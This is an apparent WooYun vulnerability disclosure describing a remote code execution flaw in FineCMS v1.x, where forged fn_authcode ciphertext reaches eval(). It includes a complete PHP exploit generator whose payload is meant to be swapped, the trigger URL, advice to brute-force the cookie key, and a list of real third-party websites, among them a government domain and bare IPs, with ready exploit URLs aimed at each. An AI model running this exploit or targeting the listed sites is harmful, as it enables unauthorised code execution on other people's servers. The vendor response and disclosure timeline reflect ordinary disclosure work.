当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061643

漏洞标题:FineCMS v1.x远程代码执行漏洞

相关厂商:dayrui.com

漏洞作者: pangshenjie

提交时间:2014-05-20 23:03

修复时间:2014-08-18 23:04

公开时间:2014-08-18 23:04

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-20: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向第三方安全合作伙伴开放
2014-07-15: 细节向核心白帽子及相关领域专家公开
2014-07-25: 细节向普通白帽子公开
2014-08-04: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

FineCMS是一款基于PHP+MySql开发的内容管理系统,采用MVC设计模式实现业务逻辑与表现层的适当分离,使网页设计师能够轻松设计出理想的模板,插件化方式开发功能易用便于扩展,支持自定义内容模型和会员模型,并且可以自定义字段,系统内置文章、图片、下载、房产、商品内容模型,系统表单功能可轻松扩展出留言、报名、书籍等功能,实现与内容模型、会员模型相关联,FineCMS可面向中小型站点提供重量级网站建设解决方案
===
目前该cms有v1.x和v2.x两个内核的版本,貌似从官方论坛看到两个版本都在更新维护和发布,属于两个不同产品,v2.x是采用的CI框架编写,v1.x 最新版本是1.8 ,更新日期是2014.3.23,其中v1.x版本存在代码执行漏洞,可执行任意代码。

详细说明:

上周末去成信院搞基,顺便参加三叶草组织的一个校内的比赛,题目里面有修改改版的finecms让进行代码审计,看了一下午挖到了原版cms一个代码执行漏洞。
在/extensions/function.php中

function string2array($data) {
if ($data == '') return array();
if (is_array($data)) return $data;
if (strpos($data, 'array') !== false && strpos($data, 'array') === 0) {
echo 'before eval $data is:'.$data.'<br>';
@eval("\$array = $data;");
return $array;
}
return unserialize($data);
}


可以看到,如果该函数传入的$data为非数组且前5个字符为array,就带入eval()中
跟踪string2array()函数,
在/extensions/function.php,fn_authcode()函数中有调用:

function fn_authcode($data, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$string = $operation == 'DECODE' ? $data : array2string($data);
$key = md5($key ? $key : SITE_MEMBER_COOKIE);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return string2array(substr($result, 26));
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}
}


可以看到,如果$result解密后的结果满足前十位为0等那三个条件,就会执行string2array(substr($result, 26))
那么就可以按照他的解密方式来构造合适的加密串,让解密后的$result从第26位开始是我们构造好的payload,这样就可以带入@eval("\$array = $data;");执行指定代码。
其中加密的几个key都和SITE_MEMBER_COOKIE有关,这个全局常量在/config/config.ini.php中定义(Cookie随机字符串),默认为空,这样在默认安装的情况下,导致payload被解密执行。
下面看看怎么构造合适的加密串,调用fn_authcode($data, 'EECODE')可加密一个串,但是cms中加密时会$data把经过array2string()函数处理,这个函数把输入的$data序列化,导致解密之后substr($result, 26)的值会多出一部分,所以去掉array2string()中的serialize(),来构造加密串。
最后找哪个controller调用了fn_authcode()函数,且第一个参数可控:
在/controllers/ApiController.php中,

public function downAction()
{
$data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
……
}


控制file变量为加密串,即可执行任意代码

漏洞证明:

生成加密串的payload:(cookie加密串SITE_MEMBER_COOKIE 默认安装时为空,不为空可以爆破)

<?php
define('SITE_MEMBER_COOKIE',isset($_GET['ckey'])?$_GET['ckey']:''); //ckey 默认安装为空,不为空可以爆破
function encode($data)
{
$ckey_length = 4;
$string = array2string($data);
$key = md5(SITE_MEMBER_COOKIE);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = (substr(md5(microtime()), -$ckey_length));
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = sprintf('%010d',0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc . str_replace('=', '', base64_encode($result));
}
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}
function array2string($data, $isformdata = 1) {
if($data == '') return '';
if($isformdata) $data = new_stripslashes($data);
//return serialize($data);
return $data;
}
$payload='array();phpinfo();'; //可自己更改payload,保证前面为array();
$encoded=base64_encode(encode($payload));
echo 'Payload is :<br>'.$payload.'<br>SITE_MEMBER_COOKIE :<br>'.SITE_MEMBER_COOKIE.'<br>Encode is:<br>'.$encoded;
?>


exp.php 可生成指定payload加密串,
然后 /index.php?c=api&a=down&file=加密串 代码执行

f1.jpg


f2.jpg


测试官网的demo没成功,应该官方修改过了SITE_MEMBER_COOKIE ,可以利用exp.php?ckey=abcd
生成加密串爆破SITE_MEMBER_COOKIE,依然可能导致代码执行,
google了找到了一些没改的:
http://www.whabc.net/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://www.huoshangsao.com/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://www.spzscq.gov.cn/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://0579fan.com/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://www.ccbf.cc/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://210.26.24.56/pub/wsxy/finecms/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://www.chncall.com/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
http://122.10.72.248/index.php?
c=api&a=down&file=ZDlhMi96WnAvcGtoNWVPNTRxTmtIYVV4Vnp1VjFFbkRlVmJvMGdWQlVaSFZldksvVzV4SGJ
0S2ZiMHF4ZXJr
……
……

修复方案:

发布补丁,另外两个版本同时在维护还不能相互升级,是不是有点蛋疼

版权声明:转载请注明来源 pangshenjie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-05-21 09:22

厂商回复:

string2array函数的eval处理是兼容老版本,新版可以去掉

最新状态:

暂无